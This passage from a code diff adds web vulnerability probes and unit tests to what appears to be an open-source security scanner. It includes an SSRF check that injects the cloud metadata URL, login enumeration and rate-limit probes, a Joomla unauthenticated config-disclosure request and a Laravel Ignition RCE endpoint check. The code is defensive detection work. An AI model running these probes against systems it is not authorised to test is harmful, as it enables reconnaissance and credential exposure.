@@ def _web_test_metadata_endpoints(self, target, port): return probe_result(findings=findings_list) + # SSRF-prone parameter names commonly seen in web applications + _SSRF_PARAMS = ("url", "redirect", "proxy", "callback", "dest", "uri", + "src", "href", "link", "fetch") + # Markers that indicate internal/metadata content was returned + _SSRF_MARKERS = ("ami-id", "instance-id", "iam/security-credentials", + "meta-data", "computeMetadata", "hostname", "local-ipv4") + + def _web_test_ssrf_basic(self, target, port): + """ + Low-confidence SSRF check: inject metadata URL into common parameters. + + Real SSRF typically lives in backend webhook/PDF/image endpoints that + require deeper crawling to discover. This probe catches low-hanging fruit + only — URL-accepting parameters on well-known paths. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Web port to probe. + + Returns + ------- + dict + Structured findings. + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + ssrf_payload = "http://169.254.169.254/latest/meta-data/" + candidate_paths = ["/", "/api/", "/webhook"] + + try: + for path in candidate_paths: + if len(findings_list) >= 2: + break + for param in self._SSRF_PARAMS: + if len(findings_list) >= 2: + break + try: + url = f"{base_url.rstrip('/')}{path}?{param}={ssrf_payload}" + resp = requests.get(url, timeout=4, verify=False) + body_lower = resp.text.lower() + if resp.status_code == 200 and any(m in body_lower for m in self._SSRF_MARKERS): + findings_list.append(Finding( + severity=Severity.CRITICAL, + title=f"SSRF: parameter '{param}' fetches internal resources", + description=f"Injecting a metadata URL into the '{param}' parameter at " + f"{path} returned cloud metadata content, indicating SSRF.", + evidence=f"GET {url} returned metadata markers.", + remediation="Validate and restrict URLs accepted by server-side parameters; " + "block requests to internal/metadata IPs.", + owasp_id="A10:2021", + cwe_id="CWE-918", + confidence="certain", + )) + break # one finding per path is enough + except Exception: + pass + except Exception as e: + self.P(f"SSRF basic probe failed on {base_url}: {e}", color='y') + return probe_error(target, port, "ssrf_basic", e) + + return probe_result(findings=findings_list) + + def _web_test_api_auth_bypass(self, target, port): """ Detect APIs that succeed despite invalid Authorization headers. diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index f6ce896f..22ab8d4e 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -68,6 +68,17 @@ def _web_test_common(self, target, port): "WordPress login page accessible — confirms WordPress deployment."), "/.well-known/security.txt": (Severity.INFO, "", "", "Security policy (RFC 9116) published."), + # Debug & monitoring endpoints (A09 — exposed monitoring) + "/actuator": (Severity.HIGH, "CWE-215", "A09:2021", + "Spring Boot Actuator exposed — may leak env vars, health, and beans."), + "/actuator/env": (Severity.HIGH, "CWE-215", "A09:2021", + "Spring Boot environment dump — leaks config, secrets, and database URLs."), + "/server-status": (Severity.HIGH, "CWE-215", "A09:2021", + "Apache mod_status exposed — reveals active connections and request details."), + "/server-info": (Severity.HIGH, "CWE-215", "A09:2021", + "Apache mod_info exposed — reveals server configuration."), + "/elmah.axd": (Severity.HIGH, "CWE-215", "A09:2021", + ".NET ELMAH error log viewer exposed — reveals stack traces and request data."), } try: @@ -115,16 +126,17 @@ def _web_test_homepage(self, target, port): base_url = f"{scheme}://{target}:{port}" _MARKER_META = { - "API_KEY": (Severity.CRITICAL, "API key found in page source"), - "PASSWORD": (Severity.CRITICAL, "Password string found in page source"), - "SECRET": (Severity.HIGH, "Secret string found in page source"), - "BEGIN RSA PRIVATE KEY": (Severity.CRITICAL, "RSA private key found in page source"), + # (severity, title, owasp_id) — private key is A08 (integrity), rest is A01 (access control) + "API_KEY": (Severity.CRITICAL, "API key found in page source", "A01:2021"), + "PASSWORD": (Severity.CRITICAL, "Password string found in page source", "A01:2021"), + "SECRET": (Severity.HIGH, "Secret string found in page source", "A01:2021"), + "BEGIN RSA PRIVATE KEY": (Severity.CRITICAL, "RSA private key found in page source", "A08:2021"), } try: resp_main = requests.get(base_url, timeout=3, verify=False) text = resp_main.text[:10000] - for marker, (severity, title) in _MARKER_META.items(): + for marker, (severity, title, owasp) in _MARKER_META.items(): if marker in text: findings_list.append(Finding( severity=severity, @@ -132,7 +144,7 @@ def _web_test_homepage(self, target, port): description=f"The string '{marker}' was found in the HTML source of {base_url}.", evidence=f"Marker '{marker}' present in first 10KB of response.", remediation="Remove sensitive data from client-facing HTML; use server-side environment variables.", - owasp_id="A01:2021", + owasp_id=owasp, cwe_id="CWE-540", confidence="firm", )) @@ -389,6 +401,7 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("WordPress", wp_version) + findings_list += self._wp_detect_plugins(base_url) for path, desc in self._WP_SENSITIVE_PATHS: try: resp = requests.get(base_url + path, timeout=3, verify=False) @@ -495,3 +508,260 @@ def _cms_check_eol(self, cms_name, version): confidence="certain", )) return findings + + # --- WordPress plugin detection (A06 improvement) --- + + _WP_PLUGIN_CHECKS = [ + ("elementor", "Elementor"), + ("contact-form-7", "Contact Form 7"), + ("woocommerce", "WooCommerce"), + ("yoast-seo", "Yoast SEO"), + ("wordfence", "Wordfence"), + ("wpforms-lite", "WPForms"), + ("all-in-one-seo-pack", "All in One SEO"), + ("updraftplus", "UpdraftPlus"), + ] + + def _wp_detect_plugins(self, base_url): + """Detect WordPress plugins via readme.txt version disclosure.""" + findings = [] + for slug, name in self._WP_PLUGIN_CHECKS: + try: + url = f"{base_url}/wp-content/plugins/{slug}/readme.txt" + resp = requests.get(url, timeout=3, verify=False) + if resp.status_code != 200: + continue + ver_match = _re.search(r'Stable tag:\s*([0-9.]+)', resp.text, _re.IGNORECASE) + version = ver_match.group(1) if ver_match else "unknown" + findings.append(Finding( + severity=Severity.LOW, + title=f"WordPress plugin version exposed: {name} {version}", + description=f"Plugin {name} detected via readme.txt. " + "Version disclosure aids targeted exploit search.", + evidence=f"GET {url} → Stable tag: {version}", + remediation="Block access to plugin readme.txt files.", + owasp_id="A06:2021", + cwe_id="CWE-200", + confidence="certain", + )) + except Exception: + continue + return findings + + + # ── A09:2021 — Verbose errors & debug mode detection ──────────────── + + _STACK_TRACE_MARKERS = [ + ("Traceback (most recent call last)", "Python"), + ("SQLSTATE[", "PHP PDO"), + ("Fatal error:", "PHP"), + ("Parse error:", "PHP"), + ("Exception in thread", "Java"), + ("Stack trace:", "Generic"), + ] + _DEBUG_MODE_MARKERS = [ + ("djdt", "Django Debug Toolbar"), + ("Django REST framework", "Django REST"), + ] + _PATH_LEAK_PATTERNS = [ + _re.compile(r'(/home/\w+|/var/www/|/opt/|/usr/local/|C:\\\\[Uu]sers)'), + ] + + def _web_test_verbose_errors(self, target, port): + """ + Detect verbose error pages and debug mode indicators (safe probes only). + + Requests a random non-existent path to trigger 404 handling, then checks + for stack traces, framework debug output, and filesystem path leaks. + Also probes for debug endpoints (__debug__/, actuator/env). + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # --- 1. Trigger a 404 and inspect the error page --- + try: + canary = f"/nonexistent_{_uuid.uuid4().hex[:8]}" + resp = requests.get(base_url + canary, timeout=3, verify=False) + body = resp.text[:10000] + + for marker, framework in self._STACK_TRACE_MARKERS: + if marker in body: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"Verbose error page: {framework} stack trace exposed", + description=f"Error page at {canary} contains {framework} stack trace, " + "leaking internal code structure and potentially secrets.", + evidence=f"Marker '{marker}' found in 404 response.", + remediation="Configure production error handling to return generic error pages.", + owasp_id="A09:2021", + cwe_id="CWE-209", + confidence="certain", + )) + break + + for pattern in self._PATH_LEAK_PATTERNS: + match = pattern.search(body) + if match and not findings_list: + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Internal path leaked in error page", + description="Error page reveals filesystem paths.", + evidence=f"Path pattern: {match.group(0)}", + remediation="Suppress internal paths in error responses.", + owasp_id="A09:2021", + cwe_id="CWE-209", + confidence="firm", + )) + except Exception: + pass + + # --- 2. Debug mode detection on homepage --- + try: + resp = requests.get(base_url, timeout=3, verify=False) + body = resp.text[:10000] + for marker, framework in self._DEBUG_MODE_MARKERS: + if marker in body: + findings_list.append(Finding( + severity=Severity.HIGH, + title=f"Debug mode enabled: {framework}", + description=f"Debug interface detected on homepage, exposing internal " + "state, SQL queries, and configuration.", + evidence=f"Marker '{marker}' found in homepage.", + remediation=f"Disable {framework} debug mode in production.", + owasp_id="A09:2021", + cwe_id="CWE-489", + confidence="certain", + )) + break + except Exception: + pass + + # --- 3. Django __debug__/ endpoint --- + try: + resp = requests.get(base_url + "/__debug__/", timeout=3, verify=False) + if resp.status_code == 200 and "djdt" in resp.text.lower(): + findings_list.append(Finding( + severity=Severity.HIGH, + title="Debug mode enabled: Django Debug Toolbar endpoint", + description="Django Debug Toolbar is accessible at /__debug__/.", + evidence="GET /__debug__/ returned 200 with djdt content.", + remediation="Remove django-debug-toolbar from production or restrict access.", + owasp_id="A09:2021", + cwe_id="CWE-489", + confidence="certain", + )) + except Exception: + pass + + return probe_result(findings=findings_list) + + + # ── A08:2021 / A06:2021 — JS library version detection ───────────── + + _JS_LIB_PATTERNS = [ + # (filename regex, version-in-content regex, library name) + (_re.compile(r'jquery[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "jQuery"), + (None, _re.compile(r'/\*!?\s*jQuery\s+v(\d+\.\d+\.\d+)'), "jQuery"), + (None, _re.compile(r'AngularJS\s+v(\d+\.\d+\.\d+)'), "AngularJS"), + (_re.compile(r'angular[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "AngularJS"), + (None, _re.compile(r'Bootstrap\s+v(\d+\.\d+\.\d+)'), "Bootstrap"), + (None, _re.compile(r'Vue\.js\s+v(\d+\.\d+\.\d+)'), "Vue.js"), + (None, _re.compile(r'React\s+v(\d+\.\d+\.\d+)'), "React"), + (_re.compile(r'moment[.-]?(\d+\.\d+\.\d+)', _re.IGNORECASE), None, "Moment.js"), + ] + _JS_EOL_LIBRARIES = { + "AngularJS": "EOL since 2021-12-31", + "Moment.js": "Deprecated — use date-fns or Luxon", + } + + def _web_test_js_library_versions(self, target, port): + """ + Detect client-side JavaScript libraries and flag EOL/deprecated ones. + + Version detection only — emits INFO findings with version data for LLM + analysis to cross-reference against CVE databases. Only definitively EOL + libraries (AngularJS, Moment.js) get MEDIUM severity. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + raw = {"js_libraries": []} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + try: + resp = requests.get(base_url, timeout=4, verify=False) + if resp.status_code != 200: + return probe_result(findings=findings_list) + html = resp.text + detected = {} # lib_name → version + + # Check script src URLs for version in filename + script_re = _re.compile(r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE) + for match in script_re.finditer(html): + src = match.group(1) + for filename_re, _, lib_name in self._JS_LIB_PATTERNS: + if filename_re and lib_name not in detected: + ver_match = filename_re.search(src) + if ver_match: + detected[lib_name] = ver_match.group(1) + + # Check inline script content for version comments + inline_re = _re.compile(r']*>(.*?)', _re.IGNORECASE | _re.DOTALL) + for match in inline_re.finditer(html[:50000]): + content = match.group(1) + for _, content_re, lib_name in self._JS_LIB_PATTERNS: + if content_re and lib_name not in detected: + ver_match = content_re.search(content) + if ver_match: + detected[lib_name] = ver_match.group(1) + + for lib_name, version in detected.items(): + raw["js_libraries"].append({"name": lib_name, "version": version}) + eol_note = self._JS_EOL_LIBRARIES.get(lib_name) + if eol_note: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"End-of-life JS library: {lib_name} {version}", + description=f"{lib_name} {version} is {eol_note}. " + "No security patches are available.", + evidence=f"Detected {lib_name} {version} in page source.", + remediation=f"Migrate away from {lib_name} to a supported alternative.", + owasp_id="A08:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + else: + findings_list.append(Finding( + severity=Severity.INFO, + title=f"JS library detected: {lib_name} {version}", + description=f"{lib_name} {version} detected in page source.", + evidence=f"Version {version} found via script tag analysis.", + remediation="Keep client-side libraries updated.", + owasp_id="A06:2021", + cwe_id="CWE-200", + confidence="certain", + )) + + except Exception as e: + self.P(f"JS library probe failed on {base_url}: {e}", color='y') + return probe_error(target, port, "js_libs", e) + + return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py index 04fdb9fb..de71f85f 100644 --- a/extensions/business/cybersec/red_mesh/web_hardening_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_hardening_mixin.py @@ -1,4 +1,6 @@ import re as _re +import time as _time +import secrets as _secrets import requests from urllib.parse import quote @@ -386,3 +388,336 @@ def _web_test_csrf(self, target, port): continue return probe_result(findings=findings_list) + + + # ── A04:2021 — Insecure Design probes ────────────────────────────── + + _ENUM_MESSAGE_VARIANTS = frozenset({ + "user not found", "no such user", "unknown user", "account not found", + "invalid username", "email not found", "does not exist", + }) + + def _web_test_account_enumeration(self, target, port): + """ + Detect account enumeration via login response differences. + + Compares responses for a definitely-invalid username vs plausibly-real + usernames. Differences in status code, body length, or error message + indicate the server reveals account existence. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + login_paths = ["/login", "/api/login", "/auth/login"] + fake_user = f"nonexistent_user_{_secrets.token_hex(6)}" + real_candidates = ["admin", "root", "test"] + password = "WrongPassword123!" + + for path in login_paths: + url = base_url.rstrip("/") + path + try: + resp_fake = requests.post( + url, data={"username": fake_user, "password": password}, + timeout=3, verify=False, allow_redirects=False, + ) + if resp_fake.status_code == 404: + continue + + for real_user in real_candidates: + resp_real = requests.post( + url, data={"username": real_user, "password": password}, + timeout=3, verify=False, allow_redirects=False, + ) + fake_lower = resp_fake.text.lower() + real_lower = resp_real.text.lower() + fake_has_enum = any(m in fake_lower for m in self._ENUM_MESSAGE_VARIANTS) + real_has_enum = any(m in real_lower for m in self._ENUM_MESSAGE_VARIANTS) + if fake_has_enum and not real_has_enum: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title="Account enumeration via login: different error messages", + description=f"Login at {path} returns different error messages for " + "valid vs invalid usernames, revealing account existence.", + evidence="Invalid user response mentions 'not found'; valid user response does not.", + remediation="Use generic error messages: 'Invalid credentials' for all failures.", + owasp_id="A04:2021", + cwe_id="CWE-204", + confidence="firm", + )) + return probe_result(findings=findings_list) + + # Check response length difference (>20%) + len_fake = len(resp_fake.text) + len_real = len(resp_real.text) + if len_fake > 0 and abs(len_real - len_fake) / max(len_fake, 1) > 0.2: + if resp_fake.status_code == resp_real.status_code: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title="Account enumeration via login: response size differs", + description=f"Login at {path} returns different-sized responses for " + "valid vs invalid usernames.", + evidence=f"Invalid user: {len_fake} bytes, '{real_user}': {len_real} bytes " + f"(delta {abs(len_real - len_fake)} bytes).", + remediation="Ensure login responses are identical regardless of username validity.", + owasp_id="A04:2021", + cwe_id="CWE-204", + confidence="firm", + )) + return probe_result(findings=findings_list) + except Exception: + continue + + return probe_result(findings=findings_list) + + + _CAPTCHA_KEYWORDS = frozenset({"captcha", "recaptcha", "hcaptcha", "g-recaptcha"}) + + def _web_test_rate_limiting(self, target, port): + """ + Detect missing rate limiting on authentication endpoints. + + Sends 5 login attempts with 500ms spacing and checks for 429 responses, + rate-limit headers, or CAPTCHA challenges. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + login_paths = ["/login", "/api/login", "/auth/login"] + password = "WrongPassword123!" + attempt_count = 5 + + for path in login_paths: + url = base_url.rstrip("/") + path + try: + probe_resp = requests.get(url, timeout=3, verify=False, allow_redirects=False) + if probe_resp.status_code == 404: + continue + + rate_limited = False + for i in range(attempt_count): + resp = requests.post( + url, + data={"username": f"test_user_{i}", "password": password}, + timeout=3, verify=False, allow_redirects=False, + ) + if resp.status_code == 429: + rate_limited = True + break + if resp.headers.get("Retry-After") or resp.headers.get("X-RateLimit-Remaining"): + rate_limited = True + break + body_lower = resp.text.lower() + if any(kw in body_lower for kw in self._CAPTCHA_KEYWORDS): + rate_limited = True + break + if i < attempt_count - 1: + _time.sleep(0.5) + + if not rate_limited: + findings_list.append(Finding( + severity=Severity.MEDIUM, + title=f"No rate limiting on login endpoint ({path})", + description=f"{attempt_count} rapid login attempts accepted without " + "429 response, rate-limit headers, or CAPTCHA challenge.", + evidence=f"POST {url} x{attempt_count} with 500ms spacing — all accepted.", + remediation="Implement rate limiting on authentication endpoints.", + owasp_id="A04:2021", + cwe_id="CWE-307", + confidence="firm", + )) + return probe_result(findings=findings_list) + except Exception: + continue + + return probe_result(findings=findings_list) + + + # ── A08:2021 — Subresource integrity & mixed content ──────────────── + + _SCRIPT_SRC_RE = _re.compile( + r']*\bsrc\s*=\s*["\']([^"\']+)["\'][^>]*>', + _re.IGNORECASE, + ) + _LINK_HREF_RE = _re.compile( + r']*\brel\s*=\s*["\']stylesheet["\'][^>]*\bhref\s*=\s*["\']([^"\']+)["\']', + _re.IGNORECASE, + ) + _INTEGRITY_RE = _re.compile(r'\bintegrity\s*=\s*["\']', _re.IGNORECASE) + _IMG_SRC_RE = _re.compile( + r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE, + ) + _IFRAME_SRC_RE = _re.compile( + r']*\bsrc\s*=\s*["\']([^"\']+)["\']', _re.IGNORECASE, + ) + + def _web_test_subresource_integrity(self, target, port): + """ + Detect external scripts/stylesheets loaded without SRI attributes. + + Parameters + ---------- + target : str + port : int + + Returns + ------- + dict + """ + findings_list = [] + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + try: + resp = requests.get(base_url, timeout=4, verify=False) + if resp.status_code != 200: + return probe_result(findings=findings_list) + html = resp.text + + for match in self._SCRIPT_SRC_RE.finditer(html): + src = match.group(1) + if not src.startswith(("http://", "https://")) or target in src: + continue + tag_start = match.start() + tag_end = html.find(">", match.end()) + 1 + tag_html = html[tag_start:tag_end] + if self._INTEGRITY_RE.search(tag_html): + continue + findings_list.append(Finding( + severity=Severity.MEDIUM, + title="External script loaded without SRI", + description=f"Script from {src[:80]} has no integrity attribute. " + "A compromised CDN could serve malicious code.", + evidence=f'''' + else: + resp.ok = False + resp.status_code = 404 + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("1.2.3.4", 4200) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("8.5.0" in t for t in titles), f"Should extract Drupal 8.5.0 from install.php. Got: {titles}") + self.assertTrue(any("CVE-2018-7600" in t for t in titles), f"Should find Drupalgeddon2. Got: {titles}") + + # ── WordPress version from readme.html ─────────────────────────── + + def test_wordpress_version_from_readme_html(self): + """WP probe should extract version from /readme.html when /feed/ is 404.""" + _, worker = self._build_worker(ports=[4400]) + worker.state["scan_metadata"] = {} + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "" + if url.endswith(":4400"): + resp.text = '' + elif "/wp-login.php" in url: + resp.text = 'wp-login' + elif "/feed/" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "Not Found" + elif "/wp-links-opml.php" in url: + resp.ok = False + resp.status_code = 404 + resp.text = "Not Found" + elif "/readme.html" in url: + resp.text = '
Version 4.6\n

If you are updating from version 2.7' + elif "/xmlrpc.php" in url: + resp.status_code = 200 + elif "/wp-json/wp/v2/users" in url: + resp.status_code = 200 + else: + resp.ok = False + resp.status_code = 404 + return resp + + with patch( + "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + side_effect=fake_get, + ): + result = worker._web_test_cms_fingerprint("1.2.3.4", 4400) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("4.6" in t for t in titles), f"Should extract WP 4.6 from readme.html. Got: {titles}") + self.assertTrue(any("CVE-2016-10033" in t for t in titles), f"Should find PHPMailer RCE. Got: {titles}") + + # ── SSTI baseline false positive prevention ────────────────────── + + def test_ssti_no_false_positive_on_baseline(self): + """SSTI probe should NOT fire when expected value already in baseline page.""" + _, worker = self._build_worker(ports=[4300]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + # Every response contains "49" naturally (e.g. page content) + resp.text = '

Contact: +1-234-567-8949

' + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_ssti("1.2.3.4", 4300) + + findings = result.get("findings", []) + self.assertEqual(len(findings), 0, f"Should NOT fire when '49' already in baseline. Got: {[f['title'] for f in findings]}") + + # ── Shellshock via document root CGI paths ─────────────────────── + + def test_shellshock_via_victim_cgi(self): + """Shellshock probe should detect CVE-2014-6271 via /victim.cgi path.""" + _, worker = self._build_worker(ports=[6600]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "" + headers = kwargs.get("headers", {}) + if "/victim.cgi" in url and "REDMESH_SHELLSHOCK_DETECT" in headers.get("User-Agent", ""): + resp.text = "\nREDMESH_SHELLSHOCK_DETECT\n" + else: + resp.status_code = 404 + resp.text = "Not Found" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get): + result = worker._web_test_shellshock("1.2.3.4", 6600) + + findings = result.get("findings", []) + self.assertTrue(len(findings) > 0, "Should detect Shellshock via /victim.cgi") + self.assertIn("CVE-2014-6271", findings[0]["title"]) + + # ── Dedup bug: _service_info_http_alt ────────────────────────────── + + def test_http_alt_no_duplicate_cves(self): + """_service_info_http_alt should NOT emit CVE findings (dedup fix).""" + _, worker = self._build_worker(ports=[8080]) + + with patch("extensions.business.cybersec.red_mesh.service_mixin.socket.socket") as mock_sock: + mock_inst = MagicMock() + mock_inst.recv.return_value = ( + b"HTTP/1.1 200 OK\r\n" + b"Server: Apache/2.4.25 (Debian)\r\n" + b"\r\n" + ).decode('utf-8').encode('utf-8') + mock_sock.return_value = mock_inst + result = worker._service_info_http_alt("1.2.3.4", 8080) + + findings = result.get("findings", []) + cve_findings = [f for f in findings if "CVE-" in f.get("title", "")] + self.assertEqual(len(cve_findings), 0, f"http_alt should NOT emit CVEs. Got: {[f['title'] for f in cve_findings]}") + # But server header should still be captured + self.assertEqual(result.get("server"), "Apache/2.4.25 (Debian)") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -6057,4 +6585,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestOWASPFullCoverage)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestDetectionGapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index 22ab8d4e..573480b1 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -3,6 +3,7 @@ import requests from .findings import Finding, Severity, probe_result, probe_error +from .cve_db import check_cves class _WebDiscoveryMixin: @@ -389,6 +390,23 @@ def _web_test_cms_fingerprint(self, target, port): except Exception: pass + # --- WordPress version fallback: /feed/, /wp-links-opml.php, /readme.html --- + if wp_version == "unknown": + for _wp_path, _wp_re in [ + ("/feed/", r'https?://wordpress\.org/\?v=([0-9.]+)'), + ("/wp-links-opml.php", r'generator="WordPress/([0-9.]+)"'), + ("/readme.html", r'Version\s+([0-9.]+)'), + ]: + try: + resp = requests.get(base_url + _wp_path, timeout=3, verify=False) + if resp.ok: + _wp_m = _re.search(_wp_re, resp.text, _re.IGNORECASE) + if _wp_m: + wp_version = _wp_m.group(1) + break + except Exception: + pass + if wp_version: raw["cms"] = "WordPress" raw["version"] = wp_version @@ -401,6 +419,8 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("WordPress", wp_version) + if wp_version != "unknown": + findings_list += check_cves("wordpress", wp_version) findings_list += self._wp_detect_plugins(base_url) for path, desc in self._WP_SENSITIVE_PATHS: try: @@ -442,6 +462,24 @@ def _web_test_cms_fingerprint(self, target, port): except Exception: pass + # --- Drupal version fallback: install.php, JS query strings --- + _DRUPAL_VERSION_SOURCES = [ + ("/core/modules/system/system.info.yml", r"version:\s*'?([0-9]+\.[0-9]+\.[0-9]+)"), + ("/core/install.php", r'site-version[^>]*>([0-9]+\.[0-9]+\.[0-9]+)'), + ("/core/install.php", r'drupal\.js\?v=([0-9]+\.[0-9]+\.[0-9]+)'), + ] + if drupal_version and (drupal_version == "unknown" or _re.match(r'^\d+$', drupal_version)): + for _dp_path, _dp_re in _DRUPAL_VERSION_SOURCES: + try: + resp = requests.get(base_url + _dp_path, timeout=3, verify=False) + if resp.ok: + _dp_m = _re.search(_dp_re, resp.text) + if _dp_m: + drupal_version = _dp_m.group(1) + break + except Exception: + pass + if drupal_version: raw["cms"] = "Drupal" raw["version"] = drupal_version @@ -454,6 +492,8 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("Drupal", drupal_version) + if drupal_version != "unknown" and not _re.match(r'^\d+$', drupal_version): + findings_list += check_cves("drupal", drupal_version) return probe_result(raw_data=raw, findings=findings_list) # --- Joomla detection --- @@ -485,6 +525,102 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("Joomla", joomla_version) + if joomla_version != "unknown": + findings_list += check_cves("joomla", joomla_version) + # CVE-2023-23752: Unauthenticated config disclosure via REST API + try: + resp = requests.get( + base_url + "/api/index.php/v1/config/application?public=true", + timeout=3, verify=False, + ) + if resp.ok and ("password" in resp.text.lower() or '"db"' in resp.text.lower() or '"dbtype"' in resp.text.lower()): + findings_list.append(Finding( + severity=Severity.HIGH, + title="CVE-2023-23752: Joomla unauthenticated config disclosure", + description="Joomla REST API exposes application configuration " + "including database credentials without authentication.", + evidence=f"GET {base_url}/api/index.php/v1/config/application?public=true → 200", + remediation="Upgrade Joomla to >= 4.2.8.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + pass + return probe_result(raw_data=raw, findings=findings_list) + + # --- Laravel / Ignition detection --- + laravel_detected = False + ignition_detected = False + + # Check /_ignition/health-check + try: + resp = requests.get(base_url + "/_ignition/health-check", timeout=3, verify=False) + if resp.ok and ("can_execute_commands" in resp.text or "ok" in resp.text.lower()): + ignition_detected = True + laravel_detected = True + findings_list.append(Finding( + severity=Severity.HIGH, + title="Laravel Ignition debug endpoint exposed", + description="/_ignition/health-check is accessible, indicating Laravel's " + "debug error handler is enabled in production.", + evidence=f"GET {base_url}/_ignition/health-check → {resp.status_code}", + remediation="Set APP_DEBUG=false in production; remove Ignition package.", + owasp_id="A05:2021", + cwe_id="CWE-489", + confidence="certain", + )) + except Exception: + pass + + # Check for Laravel indicators in error pages + if not laravel_detected: + try: + resp = requests.get( + base_url + "/nonexistent_" + _uuid.uuid4().hex[:8], + timeout=3, verify=False, + ) + body = resp.text[:10000].lower() + if "laravel" in body or "illuminate" in body: + laravel_detected = True + except Exception: + pass + + if ignition_detected: + # CVE-2021-3129: check execute-solution endpoint + try: + resp = requests.post( + base_url + "/_ignition/execute-solution", + json={"solution": "test", "parameters": {}}, + timeout=3, verify=False, + ) + if resp.status_code != 404: + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2021-3129: Laravel Ignition RCE endpoint accessible", + description="/_ignition/execute-solution accepts POST requests. " + "With Ignition < 2.5.2, this enables unauthenticated RCE " + "via file_put_contents abuse.", + evidence=f"POST {base_url}/_ignition/execute-solution → {resp.status_code}", + remediation="Upgrade Ignition to >= 2.5.2; set APP_DEBUG=false.", + owasp_id="A06:2021", + cwe_id="CWE-94", + confidence="firm", + )) + except Exception: + pass + + if laravel_detected: + raw["cms"] = "Laravel" + raw["version"] = "unknown" + findings_list.append(Finding( + severity=Severity.LOW, + title="Laravel framework detected", + description=f"Laravel framework identified on {target}:{port}.", + evidence="Detection via Ignition endpoint or error page markers.", + remediation="Keep Laravel and dependencies updated.", + confidence="certain", + )) return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index e5102393..a0efd861 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -337,6 +337,280 @@ def _sqli_error_finding(param, payload, resp, url): return probe_result(findings=findings_list) + # ── SSTI (Server-Side Template Injection) ──────────────────────────── + + def _web_test_ssti(self, target, port): + """ + Probe for Server-Side Template Injection via safe math expressions. + + Tests ``{{7*7}}`` (Jinja2/Twig), ``{{7*'7'}}`` (Jinja2 string mult), + ``${7*7}`` (Freemarker/Mako) across common parameter names and URL path. + Detection: response contains the *evaluated* result but NOT the raw payload + (which would indicate XSS reflection, not template 